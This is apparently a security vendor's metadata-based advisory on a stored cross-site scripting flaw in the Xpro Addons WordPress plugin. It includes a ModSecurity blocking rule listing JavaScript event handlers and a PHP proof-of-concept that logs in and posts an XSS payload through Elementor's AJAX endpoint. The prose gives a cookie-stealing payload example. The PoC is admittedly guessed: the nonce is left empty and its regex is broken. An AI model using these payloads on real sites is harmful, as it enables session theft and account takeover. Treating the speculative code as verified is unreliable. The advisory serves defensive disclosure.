Atomic Edge analysis of CVE-2026-11614 (metadata-based):
This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the Xpro Addons plugin for WordPress, affecting all versions up to 1.7.2. The plugin provides over 140 widgets for the Elementor page builder. The vulnerability allows authenticated attackers with Author-level access or higher to inject malicious scripts via the ‘custom_attributes’ parameter across multiple widgets. The CVSS score is 6.4, with a vector indicating network-based exploitation, low attack complexity, required privileges, no user interaction needed, and a scope change affecting confidentiality and integrity.
The root cause is insufficient input sanitization and output escaping on the ‘custom_attributes’ parameter. Based on the CWE-79 classification, the vulnerability likely occurs when the plugin processes user-supplied custom attributes for Elementor widgets. In Elementor, widgets often support a ‘custom_attributes’ field that lets users add HTML attributes to elements. The plugin probably fails to sanitize the attribute names or values properly, allowing an attacker to inject event handlers like ‘onmouseover’ or ‘onclick’ with JavaScript payloads. Atomic Edge analysis infers that the input validation does not strip dangerous HTML attribute patterns, and the escaped output does not neutralize attribute-based XSS vectors. This is an inferred conclusion, as no source code diff was available for direct confirmation.
Exploitation requires an authenticated user with at least Author-level permissions. The attacker would create or edit a post or page using the Elementor editor with an Xpro widget. In the widget settings, the attacker would set ‘custom_attributes’ to inject a malicious event handler. For example, the value could be: ‘onmouseover=alert(document.cookie)’. Once the post is saved or published, the payload is stored in the database. Any user who views the page and triggers the event (e.g., hovers over the element) executes the JavaScript. The attack vector is typical for stored XSS in WordPress plugins: the attacker uses the Elementor frontend editor or REST API to update widget settings. The specific endpoint is likely related to Elementor’s AJAX actions or the WordPress REST API for posts, with the parameter name ‘custom_attributes’.
Remediation requires proper input sanitization and output escaping of the ‘custom_attributes’ parameter. The plugin should use WordPress functions like ‘esc_attr()’ or ‘wp_kses_allowed_html()’ when outputting custom attributes to ensure only safe attribute names and values are allowed. A strict allowlist of permitted HTML attributes (e.g., ‘class’, ‘id’, ‘style’) should be enforced instead of allowing arbitrary attributes. The patched version 1.7.3 likely implements these changes. Atomic Edge analysis recommends that users update to version 1.7.3 or later immediately.
The impact of successful exploitation includes data theft (cookies, session tokens), defacement of site content, and potential administrative actions performed on behalf of the victim. Since the XSS is stored and executes for any visitor, an attacker could target high-privilege users (admins) who view the page, leading to account takeover or privilege escalation. The scope change in the CVSS vector indicates the injected script can affect resources beyond the vulnerable component, such as the WordPress admin interface or other sites if the script steals credentials.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-11614 (metadata-based)
# This rule blocks stored XSS exploitation via the 'custom_attributes' parameter in Elementor/Xpro AJAX requests.
# It targets the specific AJAX endpoint and parameter combination.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-11614: Xpro Addons Stored XSS via custom_attributes',severity:'CRITICAL',tag:'CVE-2026-11614'"
SecRule ARGS_POST:action "@streq elementor_ajax" "chain"
SecRule ARGS_POST:custom_attributes "@rx on(load|mouseover|click|focus|error|submit|change|blur|keydown|keyup|keypress|dblclick|mousedown|mouseup|mousemove|mouseout|mouseenter|mouseleave|scroll|resize|wheel|drag|drop|select|play|pause|progress|ratechange|reset|search|toggle|volumechange|waiting|animationstart|animationend|animationiteration|transitionend|transitionstart|transitioncancel|gotpointercapture|lostpointercapture|pointerdown|pointerup|pointermove|pointerover|pointerout|pointerenter|pointerleave|pointerrawupdate)"
"t:none,t:urlDecodeUni,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-11614 - Xpro Addons <= 1.7.2 - Authenticated (Author+) Stored XSS via 'custom_attributes' Parameter
// This PoC assumes:
// 1. The attacker has a valid WordPress account with Author-level or higher privileges.
// 2. The site uses the vulnerable Xpro Addons plugin (version <= 1.7.2).
// 3. The attacker knows a valid nonce for Elementor's AJAX actions (obtainable from the editor page).
// Configuration
$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site URL
$username = 'attacker'; // CHANGE THIS to the attacker's username
$password = 'attacker_password'; // CHANGE THIS to the attacker's password
// Step 1: Login to WordPress to get cookies and nonces
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Extract nonce from the admin page (for Elementor AJAX requests)
$editor_url = $target_url . '/wp-admin/post-new.php?post_type=post';
curl_setopt($ch, CURLOPT_URL, $editor_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$editor_page = curl_exec($ch);
preg_match('/var ajaxurl = "([^"]+)/([^"]+)"/', $editor_page, $matches); // Simplified; real nonce extraction may vary
$nonce = ''; // In a real exploit, you'd extract the Elementor nonce from the page
// Step 2: Send an AJAX request to update or save a page with malicious custom_attributes
// The actual AJAX action and parameters depend on Elementor's implementation.
// This is a generic example targeting Elementor's save-builder action.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = [
'action' => 'elementor_ajax', // common Elementor AJAX action
'_nonce' => $nonce,
'data' => json_encode([
'actions' => [
'save_builder' => [
'data' => [
// This is a simplified structure; real requests include full widget data
'elements' => [
[
'id' => 'widget_id',
'widgetType' => 'xpro-widget',
'settings' => [
'custom_attributes' => 'onmouseover=alert(1)' // XSS payload
]
]
]
]
]
]
])
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Error: ' . curl_error($ch) . "n";
} else {
echo "Exploit attempt completed. Check the target site for injected script execution.n";
echo "Response: " . $result . "n";
}
curl_close($ch);
?>